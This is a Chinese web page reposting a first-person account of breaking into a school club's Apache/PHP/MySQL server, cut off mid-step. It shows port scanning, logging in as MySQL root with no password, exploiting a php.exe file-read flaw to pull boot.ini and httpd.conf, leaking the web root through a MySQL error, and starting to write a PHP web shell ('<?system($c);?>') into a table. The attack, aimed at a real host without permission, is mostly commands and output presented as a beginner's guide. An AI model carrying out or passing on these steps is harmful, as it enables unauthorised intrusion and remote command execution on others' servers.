当前位置: 首页 > 图文教程 > 数据库 > MSSQL > 看紧你的3306端口,一次通过mysql的入侵

MSSQL
详解SQL Server中数据库快照工作原理
VB应用程序访问SQL Server的常用方法
SQL Server特殊磁带备份及恢复设计
基于SQL Server的C/S数据库应用系统
如何实现SQL Server 2005快速Web分页
关于SQL Server数据库中转储设备分析
从外到内提高SQL Server数据库性能
准备SQL Server 2008透明数据加密
快速升级MySQL系统表
解析:在SQL Server下数据库链接的使用
细化解析:SQL Server 2005 数据库镜像
轻松接触SQL Server 2000实例的命名规则
SQL提供的进行数据传输的实用程序—BCP
SQL Server 2000 作数据库服务器的优点
解析:正确的理解SQL Server和XML支持
轻松了解数据库计算机的概念和发展方向
解析SQL Server数据体系和应用程序逻辑
SQL进行排序、分组、统计的10个新技巧
教你怎样打造SQL Server2000的安全策略
解析SQL Server 2005 溢用之:合并列值

MSSQL 中的 看紧你的3306端口,一次通过mysql的入侵


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 112 ::
收藏到网摘: n/a

 

用superscan扫了一下
某个c类的网段,寻找开放80端口的机器,结果就只有一台机器
开放了80端口,试着连了一下,是我们学校某个社团的的主页。
从端口的banner来看应该是apache(win32),证实一下
telnet 211.87.xxx.xxx
get(回车)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /index
.html not supported.<P>
Invalid method in request get<P>
<HR>
<ADDRESS>Apache/1.3.2
2 Server at www.xxxxxx.com Port 80</ADDRESS>
</BODY></HTML> 
 

 

遗失对主机的连接。
C:\>
呵呵,这下看得更清楚了

 

据我猜测,应该是"apache+mysql+php"的黄金组合吧
习惯性的mysql -h 211.87.xxx.xxx
果然连上了
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 17 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql>


断开试着
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql>
呵呵,大家看到了他的root用户没有密码,这是我今天要说的第一个主题。
这是相当的危险的,碰见这种情况,有99.999%的可能可以进入
既然使用的apache+php,只要找到他在本地存放的web的物理路径就为所欲为了
呵呵
下一个问题是我今天要说的重点怎么样才能知道那台主机的存放的web的物理路径?
方法有很多种,在这里我介绍2种方法供初学者参考
首先要告诉大家的是低版本的apache+php有一个漏洞
提http://xxx.xxxx.xxx.xxx/php/php.exe?对方的物理文件名
就可以把那个物理文件下载下来。


于是提http://211.87.xxx.xxx/php/php.exe?c:\a.txt
返回
No input file specified. (没有这个漏洞的话提示找不到网页)
好的,这说明他有这个漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:\boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating


systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"


/fastdetect
呵呵,装的还是xp。
好了,我们可以猜测对方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?d:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?e:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?c:\Program Files\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?f:\apache\conf\httpd.conf
猜到了,返回了好多东西
找到我们想要的
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "D:\homepage"
看得出来对方的主目录是D:\homepage
下面的事就好办了,现在就想得到shell?
先别急,我们先来看看另一种方法
那就是利用mysql的错误
随便的浏览一下他的网页找到一处利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


长得太帅了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
Warning: Supplied argument is not a valid MySQL result resource in


d:\homepage\skonline\study\list.php on line 231
呵呵,一览无余。
然后,然后就是制造我们的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql> use test;
Database changed
mysql> create table t(cmd text);
Query OK, 0 rows affected (0.08 sec)


mysql> insert into t values(<?system($c);?>);
Query OK, 1 row aff